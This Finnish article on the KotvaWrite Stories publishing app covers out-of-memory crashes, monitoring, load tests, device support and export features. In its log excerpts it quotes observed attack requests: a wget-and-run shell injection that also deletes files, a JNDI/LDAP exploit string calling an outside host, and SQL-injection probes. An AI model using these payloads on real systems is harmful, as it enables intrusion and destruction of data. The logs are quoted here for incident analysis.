Manuaaliset kuormitustestit mukaan lukien KotvaWrite Stories kestää hyvin tavallista käyttöä ja vain yhdelläkin palvelimella toimiessaan sen voisi aivan hyvin jättää vaikka kuukaudeksi ilman erityisempää seurantaa, jos samanaikaiset käyttäjämäärät eivät ole aivan mahdottoman suuria. Tälle olettamukselle voivat aiheuttaa poikkeusta mystiset tapaukset, joiden yhteydessä virtuaalisen palvelimen (Linux) muistin ja levyn käyttö kasvavat hetkellisesti moninkertaiseksi, mikä sitten ns. kaataa sovelluspalvelimen, johon julkaisusovellus on asennettuna. Seuraukset eivät välttämättä ole kovinkaan kriittiset, sillä mahdollisesti kesken jääneet tallennukset tietokantaan ja tiedostoihin saa/saisi korjattua ja siistittyä semiautomaattisesti, minkä jälkeen riittää sovelluspalvelimen uudelleen käynnistäminen. Toisaalta, jos asiaan liittyy runsasta hakkerointikokeiluja, voivat jotkin käyttöjärjestelmätason resurssit olla lopuillaan kuten auki olevien tiedostojen määrä (eng. "files that are currently being reviewed or modified").
Käydessä silmäillen läpi käytössä olevan Linux-käyttöjärjestelmän ytimen logitiedostoa, voi sieltä tehdä huomiona, että muisti on päässyt totaalisesti loppumaan Java-prosessilta esim. 15.10.2022, 18.8.2022 ja 5.8.2022:
[Sat Oct 15 23:42:37 2022] Out of memory: Killed process 1295081 (java)
[Thu Aug 18 11:45:30 2022] Out of memory: Killed process 272984 (java)
[Fri Aug 5 06:11:36 2022] Out of memory: Killed process 4157049 (java)
Jos vähän tarkempia ollaan, sovelluspalvelin, johon julkaisusovellus on asennettuna, on itse asiassa Java servlet container, jota ajetaan Java-virtuaalikoneessa (Java Virtual Machine, JVM) ja tähän liittyvälle Java-prosessille on konfiguroitavissa, missä rajoissa sen sallitaan käyttävän muistia. Monien kuormitustestien perusteella tietyt konfiguroinnit muistinkäyttöön liittyen ovat erittäin riittäviä - kunnes eivät sitten jostain syystä olekaan.
Linux-käyttöjärjestelmään, josta julkaisusovellus asennettuna löytyy, on erikseen asennettuna kaksi APM-agenttia (Application Performance Monitoring), jotka keräävät reaaliajassa monenlaista tietoa esim. käyttöjärjestelmän ja julkaisusovelluksen toiminnasta, mitä voi sitten tarkastella lukuisin eri tavoin APM-palveluiden webkäyttöliittymissä (käytössä saattaa olla esim. New Relic ja Datadog). Näihin muistin loppuminen -tapauksiin liittyen on aina käynyt selville yhtä ja samaa eli nettiliikenteen määrä ei ole ollut merkittävänä tekijänä sellaisella hetkellä, jolloin virtuaaliprosessin käyttö on moninkertaistanut esim. 20-kertaiseksi ja levyä käytetään ihmeelliseen runsaasti lyhyen ajan puitteissa. Tuollaisina hetkinä ei olekaan ollut mikään ihme, että julkaisusovelluksen toiminta esim. tietokantakyselyiden osalta vie aikaa normaalien millisekuntien sijaan yli kymmenen sekuntia.
Lisäksi käytössä on myös mm. Papertrail-palvelu, johon voi uudelleenohjata logittumaan logitietoa useista eri lähteistä kuten sovelluspalvelimelta ja käyttöjärjestelmältä, jolloin logitietoja ei tarvitse käydä lueskelemaan Linuxissa komentotulkin käytön tasolla, vaan niitäkin voi tarkastella yhdenlaisen webkäyttöliittymän kautta. Sieltä on selvinnyt mm. sellaista, että joku tai jotkut wannabe-hakkerit tms. ovat tehneet paljon jonkinlaista kähmäistä kokeilua päästäkseen käyttöjärjestelmän, sovelluspalvelimen tai julkaisusovelluksen suojauksista läpi. Tällaista on jatkunut koko vuoden 2022, mutta siinä ei ole kertaakaan ollut pyrkimystä aiheuttaa DDoS-hyökkäyksiä (Distributed Denial of Service) eli palvelun toiminnan estämistä, vaan kyse on ollut esim. hitaasta käyttäjätunnuksien ja salasanojen kokeiluista levittäytyneenä pitkälle ajanjaksolle, jolloin esim. per minuutti kokeiluja ei kuin muutaman kymmentä. Siis joka minuutti, joka tunti, joka päivä ja joka kuukausi. Eikö vain voisi tehdä kerralla jotain oikein?
Muistin loppumisen ajoittumisen syyn päättelemisen kannalta voisi olla mahdollista nähdä yhteyttä hakkerointikokeilujen ajoittumiselle sekunteja ennen muistin loppumista, mutta koska kyse on ollut virtuaalisen palvelimen käyttämisestä dedikoidun sellaisen sijaan eli samoja fyysisiä laiteresursseja käyttää enemmän kuin yksi datakeskuksen asiakas ja joskus laitteet voivat myös vioittua, voisi syynä olla myös jostain muusta kuin mitä voi tarkastella käytettävissä olevista logeista ja visualisoitua tietoa näyttävistä kojelaudoista. Erikseen tätä datakeskus-palveluntarjoajalta kysyttäessä vastaus oli kuitenkin kieltävä eli tapahtuma-aikaan ei sen mukaan ollut mitään mainittavaa poikkeavuutta.
Muitakin potentiaalisia syitä muistin loppumiselle ja muille erityisen poikkeaville ongelmille olisi kuin jo mainitut. On esim. sovelluspalvelimen olemista versioltaan uusinta paljon jäljessä ja sama pätee myös Javaan, jota serveripuolella ohjelmointikielenä käytetään. Sillekin on erilliset parametrisäätönsä, millä perustein sovelluspalvelin ja Java siistivät muistista pois sellaista, mille ei enää ole käyttöä, mutta ne jätetään usein vakioasetuksiinsa. Kaikki tämä on sinänsä ihan hallittavissa olevaa, mutta voi vaatia pitkäaikaista seurantaa ja testailua, että rajatapaukset saadaan esille.
Loppuosa tästä kirjoituksesta sisältää huomioita erään muistinloppumis -tapauksen jäljiltä. Ja jos tässä voi lähettää terveisiä julkaisusovelluksen ylläpitäjälle, mainittakoon, että sen verran voisi tehdä lisäkonfigurointia, etteivät IP-osoitteet näkyisi 127.0.0.1-tyyppisinä sovelluspalvelimen logeissa, vaan alkuperäisinä IP-osoitteina. Tosin, olikohan General Data Protection Regulationilla (GDPR) jotain sanottavaa tähän?
Runsaasti sisäänkirjautumisyrityksiä logitiedossa /var/log/messages:
Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Invalid user ktx from 5.51.84.107 port 55716
Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Received disconnect from 5.51.84.107 port 55716:11: Bye Bye [preauth]
Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Disconnected from invalid user ktx 5.51.84.107 port 55716 [preauth]
Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Invalid user postgres from 195.88.87.19 port 53396
Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Received disconnect from 195.88.87.19 port 53396:11: Bye Bye [preauth]
Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Disconnected from invalid user postgres 195.88.87.19 port 53396 [preauth]
Oct 15 22:55:25 snapshot-47300778-centos-2gb-hel1-1-final sshd[2480086]: Invalid user Test from 179.60.147.99 port 37284
Oct 15 22:55:25 snapshot-47300778-centos-2gb-hel1-1-final sshd[2480086]: Connection closed by invalid user Test 179.60.147.99 port 37284 [preauth]
Oct 15 23:13:34 snapshot-47300778-centos-2gb-hel1-1-final sshd[2484695]: Invalid user support from 193.106.191.50 port 49598
Oct 15 23:13:43 snapshot-47300778-centos-2gb-hel1-1-final sshd[2484695]: Connection closed by invalid user support 193.106.191.50 port 49598 [preauth]
Oct 15 23:29:58 snapshot-47300778-centos-2gb-hel1-1-final sshd[2488819]: Invalid user Test from 179.60.147.99 port 55870
Oct 15 23:29:58 snapshot-47300778-centos-2gb-hel1-1-final sshd[2488819]: Connection closed by invalid user Test 179.60.147.99 port 55870 [preauth]
Oct 15 23:39:43 snapshot-47300778-centos-2gb-hel1-1-final sshd[2491284]: Received disconnect from 92.255.85.69 port 26930:11: Bye Bye [preauth]
Muutamia epäilyttäviä logirivejä siellä täällä sovelluspalvelimen logitiedostoa localhost_access_log:
127.0.0.1 - - [15/Oct/2022:23:03:39 +0200] "POST /core/.env HTTP/1.1" 404 764
127.0.0.1 - - [15/Oct/2022:23:03:39 +0200] "GET /core/.env HTTP/1.1" 404 764
127.0.0.1 - - [15/Oct/2022:23:03:40 +0200] "POST / HTTP/1.1" 200 13720
127.0.0.1 - - [15/Oct/2022:23:03:40 +0200] "POST /core/.env HTTP/1.1" 404 764
127.0.0.1 - - [15/Oct/2022:23:21:47 +0200] "GET /view.jsp?solutionid=539'A=0&writingid=12501 HTTP/1.1" 200 13477
127.0.0.1 - - [15/Oct/2022:23:21:52 +0200] "GET /view.jsp?solutionid=539&writingid=12501'A=0 HTTP/1.1" 200 15507
Muutama sata variaatiota pääsyn saamiseksi asentamattomaan webkäyttöliittymään:
127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 782
127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 783
127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 778
127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 772
127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 784
Pääsyoikeuden saamisen yrittämistä parametreja näpräämällä ja osoitteita arvailemalla:
127.0.0.1 - - [15/Oct/2022:16:18:21 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+81.161.229.46/jaws;sh+/tmp/jaws HTTP/1.1" 404 756
127.0.0.1 - - [15/Oct/2022:16:18:25 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+81.161.229.46/jaws;sh+/tmp/jaws HTTP/1.1" 404 756
127.0.0.1 - - [15/Oct/2022:16:06:46 +0200] "GET /admin.pl HTTP/1.1" 404 759
195.96.137.4 - - [15/Oct/2022:16:06:46 +0200] "GET /admin.jsa HTTP/1.1" 404 760
127.0.0.1 - - [15/Oct/2022:11:57:08 +0200] "GET /linusadmin-phpinfo.php HTTP/1.1" 404 773
127.0.0.1 - - [15/Oct/2022:11:57:08 +0200] "GET /infos.php HTTP/1.1" 404 760
127.0.0.1 - - [15/Oct/2022:10:22:58 +0200] "GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1" 404 790
127.0.0.1 - - [15/Oct/2022:10:22:58 +0200] "GET /test/wp-includes/wlwmanifest.xml HTTP/1.1" 404 791
82.99.217.202 - - [15/Oct/2022:07:52:03 +0200] "GET /?id=%24%7Bjndi%3Aldap%3A%2F%2F218.24.200.243%3A8066%2FTomcatBypass%2FY3D HTTP/1.1" 200 13720
127.0.0.1 - - [15/Oct/2022:01:29:44 +0200] "POST /FD873AC4-CF86-4FED-84EC-4BD59C6F17A7 HTTP/1.1" 404 787
Sovelluspalvelimen toisessa logissa (catalina) on toisinaan kuviteltujen heikkouksien kokeilua:
14-Oct-2022 04:01:50.622 INFO [http-nio2-8080-exec-21] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header
Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.
java.lang.IllegalArgumentException: Invalid character found in method name [0x160x030x010x00{0x01;0x993Z0x15e}0x005/0x050x010x00...]. HTTP method names must be tokens
15-Oct-2022 14:21:12.637 INFO [http-nio2-8080-exec-6] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header
Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.
java.lang.IllegalArgumentException: Invalid character found in method name [0x160x030x010x00{0xe40x920x88{#{*<0xc80xec0xfc}l0x820x85\0xcc0x1a0xc0/0x0050xc00x000x00...]. HTTP method names must be tokens
Sisällöntuotannon näkökulmasta julkaisusovellusta on kehitetty "isomonitoriset ja rullahiiriset tietokoneet fyysisellä näppäimistöllä ensin"-periaatteella, mutta toisinaan käytetään aikaa sen varmistamiseen, että riittävän suuriresoluutioiset ja -kokoiset tablet-laitteet ja kannettavat tietokoneet, joissa näytön resoluutiona vähintään, voisivat myös olla soveltuvia laitteita. Selaimien osalta vaikuttaisi olevan helppoa saavuttaa yhtäläinen toimivuus, joten on rohjettu pitäytyä olettamuksessa, että toimivuus on hyvä eksoottisemmillakin sellaisilla, jos toimivuus on varmistettu yleisimmillä selaimilla.
Julkaisupalvelu toimii hyvin ja yhtälaisesti ainakin näillä selaimilla: Edge, Firefox, Chrome ja Safari.
Käyttökokemuksen kannalta 32-tuumainen monitori 1440p resoluutiolla liitettynä deskop-tietokoneeseen tuntuu jonkinlaiselta "sweet spotilta", mutta toisaalta Apple iPad Pro 12,9" on laite, johon kaikki julkaisusovelluksen käyttöliittymän näkymät mahtuvat juuri niin sopivasti, ettei tilanpuute tule liian herkästi mieleen. Erillinen fyysinen näppäimistö on silti suositeltu. Rullahiirtä tai hiirtä ohjainlaitteena yleensä ei välttämättä tarvita tablet-laitetta käyttäessä.
Samsung Galaxy Tab S7:n 11-tuumainen näyttö iPadista eroavilla mittasuhteilla aiheuttaa sen, ettei portrait-moodissa voi vierekkäin mahduttaa minkälaisia elementtejä vain, mutta toisaalta julkaisusovelluksen käyttöliittymä mukautuu nopeasti landscape-asentoon kääntämiseen. Selain fullscreen-moodiin laittamalla saa aina hiukan lisää tilaa, mikä on hyödyllistä käyttäessä kannettavista tietokoneista vaikkapa ASUS ZenBook -laitetta sen kaikessa 14-tuumaisuudessaan.
On julkaisusovellusta kokeiltu käyttää myös esim. Sony Xperia Z3 Compact Tablet -laitteellakin, jossa on vain kohtalaisesti tehoa ja näyttökokokin on vain 8 tuumaa. Teknisesti ottaen julkaisupalvelu toimii silläkin normaalisti, mutta käyttöliittymän näkymät osat asettuvat päällekkäin responsiivisen käyttöliittymäsuunnittelun periaatteiden mukaisesti, joten kyllähän siinä skrollailemaan joutuu.
Julkaisusovelluksen kehityskohteiksi voisi jossain vaiheessa ottaa käyttöliittymän näkymien hienoisemman optimoinnin tilankäytön osalta, mutta muutaman kymmentä muuta ominaisuutta saattaa olla prioriteeteissä ennen sellaista.
Ohjainlaitteista erittäin näppärä ja yhteensopivissa laitteissa suositeltava väline on Samsungin Stylus Pen, joka tarjoaa erittäin hyvän herkkyyden ja tarkkuuden lisäksi Apple Pencilistä puuttuvan hover-ominaisuuden.
Ohjeistuksessa saatetaan joissain kohdin viitata Ctrl-näppäimen käytettävyyteen (Windows) tietyissä tilanteissa, mutta mainitut toiminnallisuudet saa käyttöön myös Meta-näppäimellä (Mac).
Kannettavaa tietokonetta käyttäessä tai sellaista hankkiessaan on suositeltavaa, että siinä olisi riittävän helposti käytettävissä olevat nuolipainikkeet, sillä ne ovat usein niin vähäkorkuisia, että niiden käyttöä joutuu erikseen miettimään, motorinen liike hidastuu niitä hapuillessa ja tekemisen flow hajoilee helposti (poisorientoituu, jopa).
Virtuaalipalvelimen prosessorin kuormittuminen käyttöasteesta johtuen
Kun prosessoritehoja ei ole käytettävissä riittämiin, virtuaalipalvelimen vcpu-tason vaatimattomuuden vuoksi, alkaa sovelluspalvelimen kuormittuminen näkymään prosessorin käyttöasteessa, mikä on tässä visualisoitu Hetznerin webkäyttöliittymän tarjoamassa graafissa ja mistä voi lukea, että hetkelliset prosessorin käyttöasteet ovat olleet huomattavan paljon suurempia kuin mitä ne tavallisesti ovat.
Samaista kuormituksen tasoa voidaan luonnehtia myös mm. Datadog-monitorointipalvelussa ja mistä voi tässä tapauksessa lukea, kuinka kävijämäärien minuuttikohtainen lisääminen tuhannella ja taas tuhannella jne. ovat aiheuttaneet aina vain suuremman kuormituksen.
Liioiteltu kävijöiden jonouttaminen aiheuttaa viiveitä käsittelyyn
testisivu: kirjoitus parilla kymmenellä tekstikappaleella ja muutamalla kuvalla
sivulataukset: 8000 per minuutti
vcpu: 4
maxthreads: 3 - 4
selviytyvyys: kun useita kävijöitä ei olla valmiita ottamaan käsiteltäväksi kovinkaan paljoa kerralla, kävijät joutuvat odottamaan kauemmin käsiteltäväksi tulemistaan, mutta maxthreadsin lisääminen yhdelläkin voi riittää siihen, että vasteajat ehättävät stabilisoitumaan
Teoksien etusivuja voi latailla paljon kerralla
testisivu: teoksen etusivu, nelisenkymmentä kirjoitusta, jäsenneltynä muutamaan kirjoitusten kokoelmaan, näytettynä etusivun tyyppinä plain structure
sivulataukset: 10000 per minuutti
vcpu: 4
selviytyvyys: välimuistittamaton sivu käy latautumaan tasaisella n. 110 ms:n vasteajalla, kun kävijöitä max. 200 per sekunti
Samanaikainen kuva-uploadien käsittely aiheuttaa vasteaikoihin häilyntää
testisivu: teoksen etusivu, nelisenkymmentä kirjoitusta, jäsenneltynä muutamaan kirjoitusten kokoelmaan
samanaikaisuus: koko testin ajan sama virtuaalipalvelin ottaa vastaan ja skaalaa eri kokoihin kuvia, joiden koko pikseleinä 1920x1080
sivulataukset: 10000 per minuutti
vcpu: 4
selviytyvyys: vasteaikoihin tulee hiukan häilyntää, mutta enintään n. 40 sekuntia vasteaikaan vaikuttavasti, kun kävijöitä max. 200 per sekunti
Kirjoituksen kokoelmia ehditään latailla tuhansia minuutissa vähemmilläkin palvelinresursseilla
testisivu: kirjoituksen kokoelman kolmisenkymmentä kirjoitusta kerralla ladattuna
sivulataukset: 4000 per minuutti
vcpu: 4
selviytyvyys: vasteajat pysyvät kelpaavan matalina, mutta niissä on jatkuvaa häilyntää
Muutaman kymmentä tuhatta kirjoitusta ehditään latailemaan minuutissa prosessitehoa nostamalla
testisivu: kirjoitus parilla kymmenellä tekstikappaleella ja muutamalla kuvalla
sivulataukset: 35000 per minuutti
vcpu: 8
maxthreads: 140
selviytyvyys: kävijämäärien tasainen lisääminen nostattaa vasteaikoja varsin korreloivasti kirjoituksella, joka olisi ladattu yksittäin n. 80 ms:ssa, eivätkä vasteajat pääse stabiloitumaan, mutta 35000 sivulatausta per minuutti hyvällä 250 ms:n latausnopeuden keskiarvolla ei ole huono testitulos ollenkaan
Lähemmäs kymmenen tuhatta kirjoitusten kokoelmaa ehditään latailemaan prosessoritehoa nostamalla
testisivu: kirjoituksen kokoelman kolmisenkymmentä kirjoitusta kerralla ladattuna
sivulataukset: 4000 - 9000 per minuutti
vcpu: 8
selviytyvyys: vasteajat paranevat lähes 100 millisekuntia verrattuna vcpu-määrä 4:ää ja pysyttelevät jokseenkin stabiileina, pysyttäytyen sillä tasolla aina 7000 sivulatausmäärän per minuutti asti, mutta 8000 alkaa käymään jo hankalammaksi palvelimelle ja 9000 olikin sitten jo jokseenkin mahdotonta viedä testinä loppuun asti ilman odotusaikojen kasvamista suuriksi
Kävijämäärien tasainen lisääntyminen vaikeuttaa vasteaikojen stabiloitumista
testisivu: kirjoituksen kokoelman kymmenisen kirjoitusta kerrallaan ladattuna
sivulataukset: 10000 per minuutti
vcpu: 8
maxthreads: 140
selviytyvyys: vcpu-määrän tuplaaminen 4:stä mahdollistaa minuutin testin läpiviemisen, mutta kävijämäärien tasainen lisääminen nostattaa vasteaikoja varsin korreloivasti
Timeout-virheitä saa aikaan harkitsemattomalla konfiguroinnilla
testisivu: kirjoituksen kokoelman kymmenisen kirjoitusta kerrallaan ladattuna
vcpu: 4
selviytyvyys: kun Tomcat-palvelin on konfiguroitu harkitsemattomasti, se pääsee kuormittumaan pahanlaisesti, kun kävijät joutuvat asettumaan jonoon, jota ei ehditä kaikilta osin ottaa käsiteltäväksi
Erilaisiin datan kuten kuvatiedostojen analysoimiseen ja käsittelyyn koneellisesti on erittäin paljon mahdollisuuksia, jos tohtii käyttää Python-ohjelmointikieltä. Julkaisusovelluksen palvelinpuolen ohjelmointikielenä käytetystä Javasta olisi sinänsä muutenkin mahdollista ajaa mm. Python-kielellä toteutettuja sovelluksia, mutta mikrosovelluskehys Flaskin käyttäminen tekee siitä elegantimpaa.
Käytännössä Python-sovelluksia suoritettaisiin saman virtuaalipalvelimen puitteissa erillisellä sovelluspalvelimella, johon Javasta otetaan yhteyttä kuin ulkoiseen ohjelmistorajapintaan, saadaan vastausviesti halutanlaisen rakenteisena ja jatketaan käsittelyä siitä. Tällaisena erillisenä sovelluspalvelimena toimisi Gunicorn, joka on "Python WSGI HTTP Server for UNIX". Flaskin roolina olisi tehdä Python-koodin käyttämisessä websovelluksessa helpompaa.
Eräänä käyttötapauksena voisi olla kuvan lähettäminen Python-koodilla analysoitavaksi siten, että se valittua tekoälymallia käyttäen luo numeerista vektoridataa, joka määrittää, mitä kyseinen kuva sisältää, palauttaa tuon vektoridatan Java-koodille ja joka sitten tallentaa sen Weaviate-vektoritietokantaan myöhempää käyttöä varten. Myöhempi käyttö voisi tarkoittaa sitä, että Weaviate-vektoritietokannasta haetaan joko esimerkkikuvaa vastaavan vektoridatan tai sanallista hakua vastaavan vektoridatan avulla samankaltaisia kuvia, jotka sitten voitaisiin näyttää julkaisusovelluksen käyttäjälle hänen etsiessään johonkin erityisen tarkoitukseen sopivia kuvia julkaisusovellukseen jo tallettamistaan kuvista.
Erilaisia tilannetiedotteita, ennakkovaroituksia ym. olisi kerättävissä, muodostettavissa ja viestittävissä runsain määrin, sekä niiden hallintaa varten on monenlaisia sovellutuksia Linux-apuohjelmista websovelluksiin. Näiden käytettävyyttä ja sovellettavuutta selvitellään.
Asiakkaan ja käyttäjätunnuksellisten käyttäjien kannalta voisi olla hyödyksi, jos he saisivat jonkinlaista tuntumaa esim. siitä, minkälainen hetkellinen tilanne palvelimen tai palvelimien toiminnassa on. Tai abstraktiotasolla korkeammalta, julkaisusovelluksen joidenkin teosten tai niiden kirjoitusten runsaasti lisääntyneestä huomiosta ja seuraamuksista ennalta tiedon saanti voisi auttaa jonkinlaisessa valmistautumisessa.
Käyttäjäasetuksissa on valinta Tighter UI, joka pienentää hiukan lähes kaikkia tavallisen sisäänkirjautuneen käyttäjän käyttöliittymän fontteja ja vähentää joidenkin visuaalisten elementtien viemää tilaa. Tällainen on hyödyllistä esim. kannettavia tietokoneita käytettäessä, joissa ei ole kovin monituumainen näyttöruutu. iPad Prolla ja monilla muilla tablet-laitteilla Tighter UI -säätö saattanee tuntua sopivalta kummassa asennossa vain.
Käyttäjäasetuksissa voi kytkeä päälle mahdollisuuden "opiskelumoodin" käyttöönottamiselle, mitä sovelletaan ainoastaan textediting-näkymässä. Tämä lisää kyseiseen näkymään "Studying mode"-valintakytkimen, jonka päälle laittaminen aiheuttaa kirjoituksiin hiukan muokkaamisrajoituksia ja kirjoituksia listaavan taulukon toiminnallisuus muuttuu sellaiseksi, että siitä voi merkitä, mitkä kirjoituksen ovat esim. suositeltavaa opiskeltavaa seuraavaksi ja mitkä kenties myöhemmin. Merkinnöillä ei ole sanallisia määrityksiä, vaan ainoastaan visuaaliset ilmentymänsä ja niitä voi tehdä klikkaamalla kirjoituksien nimiä Ctrl-näppäimen ollessa painattuna.
Nämä opiskeltava-merkinnät tallentuvat teoksen kirjoituksiin mukaan siten, että ne pysyvät mukana myös varmuuskopioissa, jolloin muita ihmisiä varten voitaisiin valmistella opiskeltavaa ja antaa heille varmuuskopiotiedosto importoitavaksi. Kytkemällä opiskelumoodi pois päältä textediting-näkymä palautuu tavanomaiseksi. Opiskelumoodin ollessa käytössä nämä merkinnät saa poistettua kerralla kirjoitusten kokoelma -kohtaisesti valintapainikkeella "Clear study markings".
Kirjoituksen muunnos asiakirjatiedostoksi
Niin sanottujen toimisto-ohjelmien käyttö voi jäädä vähämmälle, kun hyödyntää tämän julkaisusovelluksen tarjoamia mahdollisuuksia, sillä asiakirjoja voi luoda muutenkin kuin kyseisillä ohjelmilla. Avoimen lähdekoodin ohjelmistokomponentti Apache POI on se, mitä hyödynnetään Word-tiedoston koneelliseen generoimiseen julkaisusovelluksen kirjoituksessa olevien tietojen perusteella.
Kirjoituksella on optionaalisina teksti-osina Document header ja Document footer, joissa voi niiden placeholder-tiedossa annetun syntaksin mukaan antaa tietoa (osoite, asiakirjan tyypin nimi ja päiväys), jotka sijoitetaan sopiville paikoilleen ylä- ja alatunnisteisiin yhdessä sivunumeroinnin ym. kanssa. Näitä tietoja hyödynnetään ainoastaan writingsending-näkymässä. Asiakirjatiedosto luodaan yhdellä painikkeen painalluksella ja sen saa jatkokäytettäväksi ladattavana tiedostona.
Sähköpostin lähettäminen
Teoksessa olevien kirjoituksien eräänä ainoana käyttötarkoituksena voi olla sekin, että niitä käytetään sähköpostiviestin sisältönä, missä sähköpostin lähettäminen tapahtuu julkaisusovelluksessa itsessään. Tämä toimii sähköpostiviestittelyn alustuksena tai yhdensuuntaisesti viestiessä, sillä vastausviestit eivät päädy julkaisusovelluksen käyttöön.
Käyttäjäasetuksissa on ulkoisten palveluiden osalta kohta SMTP-palvelimen määritystä varten, johon tarvitaan SMTP-palvelin osoite ja sen käyttämän portin numero, sekä käyttäjätunnus ja salasana sille. Tässä ei käytetä viestinnän suojaamista muilta osin kuin SMTP-palvelimen portin mahdollistamalla tavalla. SMTP tulee sanoista Simple Mail Transfer Protocol ja se tarkoittaa lähtevän sähköpostin palvelinta. Tarvittavat tiedot ovat samat kuin erillistä sähköpostisovellusta konfiguroitaessa tarvittavat, mutta eivät välttämättä samat käyttäjätunnuksen ja salasanan osalta, jos haluaa luoda tätä varten erilliset sellaiset. Nämä sähköpostit lähetetään julkaisusovelluksen instanssin palvelimelta eli ei suoraan selaimesta.
Tarkoituksena on mahdollistaa projektissa olevien projektitiedostojen ja kirjoituksessa olevien kuvien (käytössä ja muuten vain mukana olevien) liittäminen näihin lähteviin sähköposteihin. Kokeellisena ominaisuutena se ei lähetä liitteitä. Lähettäjä voi valita minkälaiseksi plaintext-sisällöksi kirjoitus muunnetaan (alunperin HTML-muotoista tyylittelyineen). Vastaanottajien listaa voi käyttää lähettämään yksi sähköpostiviesti monelle tai jokaiselle erikseen, missä sähköposti(t) lähtevät yhdellä painikkeen painalluksella.
Tuotoksien ja teoksien exportointi
Valmistellessaan kirjoitusta kuvineen julkaistavaksi jossain toisaalla kuten keskustelufoorumilla tai Facebook-ryhmässä, voi kirjoituksen kuvineen exportoida zip-pakettiin, joka sisältää kirjoituksen kolmena eri versiona. Yksi näistä on tyylittelemätön HTML-versio, jossa on mukana tagit p, h1 ja h2 (listat muunnetaan tekstikappaleiksi). Kaksi muuta on plaintext-tyyppisiä sillä erolla toisistaan, että toisessa tekstikappaleiden jälkeen ei ole tyhjää riviä, mikä voi jomman kumman osalta sujuvoittaa työnkulkuja toisaalle copypastettaessa. Pictureshow-kuvien tiedostonimet nimetään siten, että on helpompi tunnistaa, mitkä sellaisista ovat samaan pictureshow'hun kuuluvia.
Netissä luettavaksi valmistellusta julkaisusovelluksen teoksesta voidaan tehdä yhdellä toimintopainikkeen klikkauksella PDF-versio, jossa on erillinen kansisivu, kaikki kirjoitusten kokoelmat omissa osioissaan kaikkine kirjoituksien tulostettavine sisältöineen ja footerissa sivunumerot osiotiedon kera. Specialpaget myös mukana, kuvat yhtä hyvin asemoituvina kuin netissäkin, fonttivalinnat tismalleen oikein ja muutenkin kelpoisan oloinen. Nykyisellään on suositeltavaa käyttää sisältölistauksen tyyppiä "plain structure", sillä muut kuten "presentation page" ja blog-like saattavat tuottaa odottamattomia tuloksia. Koko teoksen sijaan voi rajoittaa toiminnon käyttämisen valittuun kirjoitusten kokoelmaan.
Tämä on toteutettu täysin eri tavalla kuin aiemmassa yritelmässä, missä ensin generoitiin TeX-tiedosto, joka sisälsi sekä tyylittelyä ja sisältöä, ja minkä perusteella PDF-tiedosto sitten luotiin. Tällaisen sijaan käytetty ulkoinen palvelu luo PDF-tiedoston samoista aineksista kuin mistä selaimet luovat nettisivut eli HTML-koodista, CSS-tyylittelystä ja JavaScript-koodista. Tärkeänä lisänä erityisesti CSS3 Paged Median hyödyntäminen:
"CSS module specifies how pages are generated and laid out to hold fragmented content in a paged presentation. It adds functionality for controlling page margins, page size and orientation, and headers and footers, and extends generated content to enable page numbering and running headers / footers." (CSS Paged Media Module Level 3. W3C Working Draft, 18 October 2018.)
Monetkaan selaimet eivät ole implementoineet käyttöönsä kyseistä standardia ja juuri sen vuoksi tulostaminen suoraan jostain selaimesta ei tarjoakaan optimaalisia tuloksia sellaisenaan, kun tarkoituksena on saada mukaan sivunumerointia ym. Esim. Firefox-selain ei viimeisimmän kokeilun perusteella CSS Paged Mediaa kummoisemmin hyödynnä, mutta Edge ja Chrome sen sijaan kylläkin. Niitäkin käyttäessä on se ongelma, että ne sisällyttävät headeriin ja footeriin ylimääräistä tietoa päiväyksestä ym. tai sitten headerin ja footerin sisältöjen on oltava tyhjiä (tulostusasetuksissa ei ole kuin joko tai -tyyppinen vaihtoehto). Koko teoksesta tulostettavan version tekemiseen on painikkeensa, kirjoitusten kokoelma -kohtaisuuden riittäessä, ikoninsa.
Itse asiassa, koska ulkoinen palvelu, jota on ollut tarkoitus käyttää PDF-tiedostojen generoimiseen, vaatii maksun tiedostojen generoitavuutta vastaan, prosessia on lyhennetty yhdellä vaiheella. Täten käyttäjälle tarjoillaan ladattava HTML-tiedosto, joka sisältää sisällön lisäksi kaikki mainitut "ainekset". Käyttäjä voi sitten käyttää valitsemaansa selainta sen tulostamiseen, jos selaimessa on riittävästi tukea CSS3 Paged Medialle.
Toimintona tämä on ohjattavissa ainoastaan yhden säädön osalta eli kirjasinkoko-kertoimella. Se on vakioitu niin, että valinta "1.00" toimii sopivanlaisesti, kun tulostaa A4-kokoon, vaikuttaen kaikkeen kirjoituksessa olevan tekstin kokoon (otsikot, kuvatekstit ym.). Tämä ei vaikuta redirectlink-kirjoituksiin, sillä niihin vaikuttaa kohteena olevan teoksen samainen asetus.
